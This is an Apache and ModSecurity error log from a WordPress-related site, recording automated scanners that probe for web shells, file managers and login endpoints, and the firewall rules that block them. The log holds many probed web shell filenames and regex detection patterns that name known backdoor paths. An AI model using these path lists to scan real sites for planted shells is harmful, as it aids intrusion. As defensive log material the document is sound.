[Thu Apr 09 17:37:40.185273 2026] [:error] [pid 18477:tid 18492] [client 188.240.71.166:55444] [client 188.240.71.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/"] [unique_id "addzZMDe826HlFeoLPJiLgAAAU0"]
[Thu Apr 09 17:37:40.691829 2026] [:error] [pid 24927:tid 24930] [client 188.240.71.166:55478] [client 188.240.71.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/"] [unique_id "addzZDXObuzEuw8mNJvUOAAAAQA"]
[Thu Apr 09 19:32:26.300522 2026] [:error] [pid 63331:tid 63337] [client 51.103.166.20:5616] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Fri Apr 10 00:59:06.143744 2026] [:error] [pid 36399:tid 36457] [client 20.111.33.125:35374] File does not exist: /usr/local/apache/htdocs/suspended-page/file61.php
[Fri Apr 10 00:59:06.395696 2026] [:error] [pid 36399:tid 36464] [client 20.111.33.125:35374] File does not exist: /usr/local/apache/htdocs/suspended-page/btx25.php
[Fri Apr 10 00:59:06.633306 2026] [:error] [pid 36399:tid 36478] [client 20.111.33.125:35374] File does not exist: /usr/local/apache/htdocs/suspended-page/file59.php
[Fri Apr 10 00:59:06.883198 2026] [:error] [pid 36399:tid 36463] [client 20.111.33.125:35374] File does not exist: /usr/local/apache/htdocs/suspended-page/file21.php
[Fri Apr 10 00:59:07.119003 2026] [:error] [pid 36399:tid 36455] [client 20.111.33.125:35374] File does not exist: /usr/local/apache/htdocs/suspended-page/sf.php
[Fri Apr 10 00:59:07.354800 2026] [:error] [pid 36399:tid 36461] [client 20.111.33.125:35374] File does not exist: /usr/local/apache/htdocs/suspended-page/bypltspd.php
[Fri Apr 10 10:14:41.958024 2026] [:error] [pid 13189:tid 13196] [client 143.44.191.8:35583] [client 143.44.191.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.44.191.8, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "adhdEZAxiJKPums3eBD01gAAAEQ"]
[Fri Apr 10 10:14:41.962329 2026] [:error] [pid 13189:tid 13196] [client 143.44.191.8:35583] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri Apr 10 13:36:02.672049 2026] [:error] [pid 3934:tid 3957] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Fri Apr 10 13:36:02.914731 2026] [:error] [pid 3934:tid 3948] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Fri Apr 10 13:36:03.162529 2026] [:error] [pid 3934:tid 3957] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Fri Apr 10 13:36:03.405912 2026] [:error] [pid 3934:tid 3939] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Fri Apr 10 13:36:03.651698 2026] [:error] [pid 3934:tid 3946] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Fri Apr 10 13:36:03.895847 2026] [:error] [pid 3934:tid 3959] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Fri Apr 10 13:36:04.139539 2026] [:error] [pid 3934:tid 3941] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Fri Apr 10 13:36:04.386122 2026] [:error] [pid 3934:tid 3942] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Fri Apr 10 13:36:04.873509 2026] [:error] [pid 3934:tid 3958] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Fri Apr 10 13:36:05.116582 2026] [:error] [pid 3934:tid 3945] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Fri Apr 10 13:36:05.360142 2026] [:error] [pid 3934:tid 3956] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Fri Apr 10 13:36:05.607348 2026] [:error] [pid 3934:tid 3950] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Fri Apr 10 13:36:05.852046 2026] [:error] [pid 3934:tid 3939] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Fri Apr 10 13:36:06.096171 2026] [:error] [pid 3934:tid 3959] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Fri Apr 10 13:36:06.340990 2026] [:error] [pid 3934:tid 3941] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Fri Apr 10 13:36:06.584418 2026] [:error] [pid 3934:tid 3948] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Fri Apr 10 13:36:06.827871 2026] [:error] [pid 3934:tid 3949] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Fri Apr 10 13:36:07.072320 2026] [:error] [pid 3934:tid 3956] [client 138.199.57.35:54198] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Fri Apr 10 13:36:10.506461 2026] [:error] [pid 3934:tid 3945] [client 138.199.57.35:54198] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adiMSoa41m-BS8mg82dnFwAAAMY"]
[Fri Apr 10 13:36:11.720053 2026] [:error] [pid 13102:tid 13164] [client 138.199.57.35:57064] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adiMS_9xLvjW2guI55a7bAAAAAQ"]
[Fri Apr 10 13:36:12.946885 2026] [:error] [pid 13102:tid 13173] [client 138.199.57.35:57116] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Fri Apr 10 13:36:13.684943 2026] [:error] [pid 13102:tid 13181] [client 138.199.57.35:57116] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adiMTf9xLvjW2guI55a7dQAAABU"]
[Fri Apr 10 13:36:14.660387 2026] [:error] [pid 3934:tid 3957] [client 138.199.57.35:57228] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Fri Apr 10 13:36:14.900415 2026] [:error] [pid 3934:tid 3959] [client 138.199.57.35:57228] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "adiMToa41m-BS8mg82dnWwAAANQ"]
[Fri Apr 10 13:36:15.630096 2026] [:error] [pid 13100:tid 13106] [client 138.199.57.35:57288] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Fri Apr 10 13:36:16.851626 2026] [:error] [pid 13100:tid 13105] [client 138.199.57.35:57288] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "adiMUFzg-ZkZ0InWIP0csAAAAQA"]
[Fri Apr 10 13:36:17.577874 2026] [:error] [pid 13189:tid 13193] [client 138.199.57.35:57398] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "adiMUZAxiJKPums3eBCiXwAAAEE"]
[Fri Apr 10 13:36:18.060334 2026] [:error] [pid 13189:tid 13196] [client 138.199.57.35:57448] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "adiMUpAxiJKPums3eBCiaAAAAEQ"]
[Fri Apr 10 13:36:18.542496 2026] [:error] [pid 13100:tid 13118] [client 138.199.57.35:45610] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "adiMUlzg-ZkZ0InWIP0cwAAAAQ0"]
[Fri Apr 10 13:36:19.026616 2026] [:error] [pid 3934:tid 3949] [client 138.199.57.35:45656] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "adiMU4a41m-BS8mg82dnhAAAAMo"]
[Fri Apr 10 13:36:19.506566 2026] [:error] [pid 13100:tid 13113] [client 138.199.57.35:45686] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "adiMU1zg-ZkZ0InWIP0c1QAAAQg"]
[Fri Apr 10 13:36:20.236278 2026] [:error] [pid 13102:tid 13163] [client 138.199.57.35:45732] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "adiMVP9xLvjW2guI55a7rAAAAAM"]
[Fri Apr 10 13:36:20.719300 2026] [:error] [pid 13101:tid 13154] [client 138.199.57.35:45814] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Fri Apr 10 13:36:21.201275 2026] [:error] [pid 13101:tid 13134] [client 138.199.57.35:45814] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "adiMVd8Ldw85818pj2of_AAAAIE"]
[Fri Apr 10 13:36:22.177789 2026] [:error] [pid 13102:tid 13180] [client 138.199.57.35:45876] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "adiMVv9xLvjW2guI55a7wgAAABQ"]
[Fri Apr 10 13:36:22.904883 2026] [:error] [pid 13100:tid 13109] [client 138.199.57.35:45950] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "adiMVlzg-ZkZ0InWIP0c5AAAAQQ"]
[Fri Apr 10 13:36:23.390306 2026] [:error] [pid 13102:tid 13164] [client 138.199.57.35:45978] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Fri Apr 10 13:36:23.636818 2026] [:error] [pid 13102:tid 13175] [client 138.199.57.35:45978] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "adiMV_9xLvjW2guI55a70QAAAA8"]
[Fri Apr 10 13:36:24.121261 2026] [:error] [pid 3934:tid 3944] [client 138.199.57.35:46064] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Fri Apr 10 13:36:24.858250 2026] [:error] [pid 3934:tid 3955] [client 138.199.57.35:46064] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Fri Apr 10 13:36:25.591354 2026] [:error] [pid 3934:tid 3956] [client 138.199.57.35:46064] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "adiMWYa41m-BS8mg82dnwQAAANE"]
[Fri Apr 10 13:36:26.073273 2026] [:error] [pid 13100:tid 13127] [client 138.199.57.35:46208] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Fri Apr 10 13:36:26.313212 2026] [:error] [pid 13100:tid 13106] [client 138.199.57.35:46208] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "adiMWlzg-ZkZ0InWIP0c_wAAAQE"]
[Fri Apr 10 13:36:26.796388 2026] [:error] [pid 13100:tid 13111] [client 138.199.57.35:46298] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Fri Apr 10 13:36:27.287394 2026] [:error] [pid 13100:tid 13129] [client 138.199.57.35:46298] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "adiMW1zg-ZkZ0InWIP0dCQAAARg"]
[Fri Apr 10 13:36:28.015007 2026] [:error] [pid 13100:tid 13122] [client 138.199.57.35:46362] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "adiMXFzg-ZkZ0InWIP0dCwAAARE"]
[Fri Apr 10 13:36:28.745178 2026] [:error] [pid 13100:tid 13116] [client 138.199.57.35:58230] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Fri Apr 10 13:36:28.988614 2026] [:error] [pid 13100:tid 13109] [client 138.199.57.35:58230] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Fri Apr 10 13:36:30.928972 2026] [:error] [pid 13100:tid 13106] [client 138.199.57.35:58230] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "adiMXlzg-ZkZ0InWIP0dGAAAAQE"]
[Fri Apr 10 13:36:31.649997 2026] [:error] [pid 13102:tid 13170] [client 138.199.57.35:58432] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "adiMX_9xLvjW2guI55a8HAAAAAo"]
[Fri Apr 10 13:36:32.377905 2026] [:error] [pid 3934:tid 3945] [client 138.199.57.35:58478] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "adiMYIa41m-BS8mg82dn9QAAAMY"]
[Fri Apr 10 13:36:32.856614 2026] [:error] [pid 13100:tid 13121] [client 138.199.57.35:58508] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "adiMYFzg-ZkZ0InWIP0dIwAAARA"]
[Fri Apr 10 13:36:33.340166 2026] [:error] [pid 13101:tid 13134] [client 138.199.57.35:58542] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "adiMYd8Ldw85818pj2ogZwAAAIE"]
[Fri Apr 10 13:36:34.309040 2026] [:error] [pid 13101:tid 13136] [client 138.199.57.35:58558] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Fri Apr 10 13:36:34.552068 2026] [:error] [pid 13101:tid 13133] [client 138.199.57.35:58558] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "adiMYt8Ldw85818pj2ogcwAAAIA"]
[Fri Apr 10 13:36:35.031484 2026] [:error] [pid 13101:tid 13137] [client 138.199.57.35:58610] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "adiMY98Ldw85818pj2ogeQAAAIQ"]
[Fri Apr 10 13:36:35.512172 2026] [:error] [pid 13101:tid 13134] [client 138.199.57.35:58654] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "adiMY98Ldw85818pj2ogggAAAIE"]
[Fri Apr 10 13:36:36.483756 2026] [:error] [pid 13102:tid 13179] [client 138.199.57.35:58688] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Fri Apr 10 13:36:36.971619 2026] [:error] [pid 13102:tid 13171] [client 138.199.57.35:58688] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Fri Apr 10 13:36:37.941933 2026] [:error] [pid 13102:tid 13173] [client 138.199.57.35:58688] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "adiMZf9xLvjW2guI55a8TAAAAA0"]
[Fri Apr 10 13:36:39.155633 2026] [:error] [pid 13189:tid 13195] [client 138.199.57.35:60190] [client 138.199.57.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.199.57.35, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "adiMZ5AxiJKPums3eBCi9QAAAEM"]
[Fri Apr 10 13:36:40.911372 2026] [:error] [pid 13189:tid 13195] [client 138.199.57.35:60190] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Fri Apr 10 13:36:42.130099 2026] [:error] [pid 13189:tid 13212] [client 138.199.57.35:60190] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Fri Apr 10 13:36:42.379794 2026] [:error] [pid 13189:tid 13205] [client 138.199.57.35:60190] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Fri Apr 10 13:36:43.599481 2026] [:error] [pid 13189:tid 13204] [client 138.199.57.35:60190] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "adiMa5AxiJKPums3eBCjNgAAAEw"]
[Fri Apr 10 13:36:44.333266 2026] [:error] [pid 3934:tid 3963] [client 138.199.57.35:60444] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Fri Apr 10 13:36:44.573398 2026] [:error] [pid 3934:tid 3959] [client 138.199.57.35:60444] [client 138.199.57.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.199.57.35, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "adiMbIa41m-BS8mg82doeAAAANQ"]
[Fri Apr 10 13:36:45.060924 2026] [:error] [pid 3934:tid 3948] [client 138.199.57.35:60444] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "adiMbYa41m-BS8mg82dohAAAAMk"]
[Fri Apr 10 13:36:46.521013 2026] [:error] [pid 3934:tid 3948] [client 138.199.57.35:60542] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri Apr 10 13:36:47.007475 2026] [:error] [pid 3934:tid 3954] [client 138.199.57.35:60542] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Fri Apr 10 13:36:47.490667 2026] [:error] [pid 3934:tid 3940] [client 138.199.57.35:60542] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "adiMb4a41m-BS8mg82dooQAAAME"]
[Fri Apr 10 13:36:47.975872 2026] [:error] [pid 3934:tid 3954] [client 138.199.57.35:60676] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Fri Apr 10 13:36:48.705879 2026] [:error] [pid 3934:tid 3948] [client 138.199.57.35:60676] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Fri Apr 10 13:36:49.201117 2026] [:error] [pid 3934:tid 3941] [client 138.199.57.35:60676] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Fri Apr 10 13:36:49.691162 2026] [:error] [pid 3934:tid 3960] [client 138.199.57.35:60676] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
